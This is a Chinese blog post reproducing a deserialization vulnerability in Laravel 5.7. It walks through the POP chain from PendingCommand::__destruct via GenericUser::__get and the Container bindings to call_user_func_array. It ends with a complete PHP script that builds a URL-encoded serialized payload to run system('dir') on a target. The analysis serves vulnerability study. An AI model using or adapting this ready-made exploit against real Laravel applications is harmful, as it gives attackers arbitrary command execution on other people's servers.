laravel5.7漏洞复现

文章目录

  • laravel环境搭建
  • pop链分析
  • 构造反序列化payload

    laravel环境搭建

    这个不用多说了,网上很多大佬都写过很详细的博客,可以借鉴

    pop链分析

    laravel5.7漏洞主要利用vendor/laravel/framework/src/Illuminate/Foundation/Testing文件夹下的一个PendingCommand类,该类中有几个私有特性
    1
    2
    3
    4
    public $test;           //一个实例化的类 Illuminate\Auth\GenericUser
    protected $app; //一个实例化的类 Illuminate\Foundation\Application
    protected $command; //要执行的php函数 system
    protected $parameters; //要执行的php函数的参数 array('id')
  • 用于命令执行的函数为PendingCommand.php中的run()函数
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    public function run()
    {
    $this->hasExecuted = true;

    $this->mockConsoleOutput();

    try {
    $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
    } catch (NoMatchingExpectationException $e) {
    if ($e->getMethodName() == 'askQuestion') {
    $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
    }
    }

    if ($this->expectedExitCode != null) {
    $this->test->assertTrue(
    $exitCode == $this->expectedExitCode,
    "Expected status code {$this->expectedExitCode} but received {$exitCode}."
    );
    }

    return $exitCode;
    }
    还有可以触发run函数的析构函数
    1
    2
    3
    4
    5
    6
    7
    8
    9
    public function __destruct()
    {
    if ($this->hasExecuted) {
    return;
    }

    $this->run();
    }
    }
  • 简单思路 构造反序列化调用析构函数,进入run方法进行代码执行观察run方法会进入第一个函数
    1
    $this->mockConsoleOutput();
    跟进发现
    在这里插入图片描述
    这里moke了一个虚拟的实例化类用于调试输出,具体实现也没看懂,直接跳过,中途发现有个foreach循环,这里对$this->test类的expectedOutput属性进行遍历作为数组,代码才能正常执行下去。但是该类并不存在expectedOutput属性;经过分析代码,我们发现这里只要能够返回一个数组代码就可以顺利进行下去。此时可以利用利用__get方法,因为读取不可访问属性的值时,__get() 会被调用。
    经过全局搜索发现Illuminate\Auth\GenericUser类的get方法可利用,通过geet方法传入一个数组即可保证后面的代码顺利执行
    在这里插入图片描述
  • 后面的代码都是可以顺利执行下去的,接下来我们又回到了mockConsoleOutput()方法内,接下来又是一个forearch循环,如上一步的遍历数组一样,顺利执行下去
  • 接下来代码会执行到$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);,其中Kernel::class为固定值”Illuminate\Contracts\Console\Kernel”
    进入make方法后看到此时abstract参数是Illuminate\Contracts\Http\Kernel继续跟进getAlias
    在这里插入图片描述
    然后判断aliases中的Illuminate\Contracts\Http\Kernel类是否存在并返回这个类名
    在这里插入图片描述
    顺利执行完getAlias后回到make中最后会调用父类中的make函数,跟进父类中的make函数
    在这里插入图片描述
    跟进resolve函数
    在这里插入图片描述
    其中
    1
    return $this->instances[$abstract];=$this->instances["Illuminate\Contracts\Console\Kernel"];
    也就是返回了Illuminate\Foundation\Application对象;即我们可以将任意对象赋值给 $this->instances[$abstract] ,这个对象最终会赋值给[Kernel::class]最后会进入到getconcret函数.
    在这里插入图片描述
    首先会判断binding数组中的$abstract是否存在,如果存在则返回$this->bindings[$abstract][‘concrete’]。最大的漏洞就出现在这里,通过整体跟踪,猜测开发者的本意应该是实例化Illuminate\Contracts\Http\Kernel这个类,但是在getConcrete这个方法中出了问题,导致可以利用php的反射机制实例化任意类。问题出在vendor/laravel/framework/src/Illuminate/Container/Container.php的704行,可以看到这里判断$this->bindings[$abstract])是否存在,若存在则返回$this->bindings[$abstract][‘concrete’]。$bindings是vendor/laravel/framework/src/Illuminate/Container/Container.php文件中Container类中的属性。因此我们只要寻找一个继承自Container的类,即可通过反序列化控制$this->bindings属性。而Illuminate\Foundation\Application恰好继承自Container类,这就是选择Illuminate\Foundation\Application对象放入$this->app的原因。由于我们已知$abstract变量为Illuminate\Contracts\Console\Kernel,所以我们只需通过反序列化定义Illuminate\Foundation\Application的$bindings属性存在键名为Illuminate\Contracts\Console\Kernel的二维数组就能进入该分支语句,返回我们要实例化的类名。在这里返回的是Illuminate\Foundation\Application类。
    此处出getconcrete函数后进入
    在这里插入图片描述
    跟进发现
    在这里插入图片描述
    此处判断$concrete和$abstract的值是否相等,此处显然不会相等,则进入make方法
    在这里插入图片描述
    在第二遍循环之后$concrete和$abstract的值则会相等然后进入build函数
    在这里插入图片描述
    可以看到build中会通过reflectionclass反射机制实例化我们传入的类,最终$this->app[Kernel::class]返回的内容就是我们创建的Illuminate\Foundation\Application类的对象。
    在返回一个对象之后,又调用了call方法。实际上Illuminate\Foundation\Application类没有call方法,但是它的父类Illuminate\Container\Container是有call方法的。因此,在这里会直接跳转到Illuminate\Container\Container类中的call方法。
    之后进入到
    在这里插入图片描述
    其中isCallableWithAtSign()方法是判断确定给定的字符串是否使用Class@method语法,不满足自然跳出,执行到callBoundMethod,跟进发现其只是判断是否为数组
    在这里插入图片描述
    跟进后面的匿名函数则可以发现
    在这里插入图片描述
    中间代码看的不太懂只用看最后一行,它将我们传入的$parameters数组和$dependencies数组合并,其中$dependencies数组为空,而$parameters数组是我们可控的。最终也就是执行了
    1
    call_user_func_array('xxx',array('xxx'));
    到这pop链就已经分析完成了!!

构造反序列化payload

直接放exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$genericuser = new Illuminate\Auth\GenericUser(
array(
"expectedOutput"=>array("0"=>"1"),
"expectedQuestions"=>array("0"=>"1")
)
);
$application = new Illuminate\Foundation\Application(
array(
"Illuminate\Contracts\Console\Kernel"=>
array(
"concrete"=>"Illuminate\Foundation\Application"
)
)
);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
"system",array('dir'),
$genericuser,
$application
);
echo urlencode(serialize($pendingcommand));
}
?>

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!